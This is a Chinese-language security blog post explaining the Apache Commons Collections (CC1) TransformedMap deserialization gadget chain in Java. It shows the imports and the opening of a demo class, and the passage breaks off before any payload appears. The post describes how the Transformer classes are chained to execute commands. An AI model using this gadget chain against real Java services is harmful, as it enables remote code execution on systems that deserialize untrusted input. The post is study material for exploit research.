java安全(七) 反序列化3 CC利用链 TransformedMap版

Java反序列化：TransformedMap与CC利用链解析

原创

已于 2022-08-06 06:22:55 修改 · 3.7k 阅读

4 ·

CC 4.0 BY-SA版权

文章标签：

#安全漏洞 #web安全 #java #反序列化 #cc利用链

于 2022-04-21 15:02:47 首次发布

本文介绍了Java反序列化中CommonCollections的TransformedMap利用链，通过图解和代码示例详细阐述了如何利用TransformedMap、Transformer、ConstantTransformer、InvokerTransformer和ChainedTransformer执行命令。简化后的demo展示了不依赖反射的CC利用链执行流程。

给个关注？宝儿！
给个关注？宝儿！
给个关注？宝儿！

图解

先挂一张wh1te8ea的利用链图解，非常直观！
在这里插入图片描述

代码demo

分析：

代码使用了phith0n大佬的代码，对原本复杂的源码进行了优化，适合复现以及更加深刻理解

demo代码：

package test.org.vulhub.Ser;



import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
   
   
    public static void main(String[] args) throws Exception {
   
   
        Transformer[] transformers = new Transformer[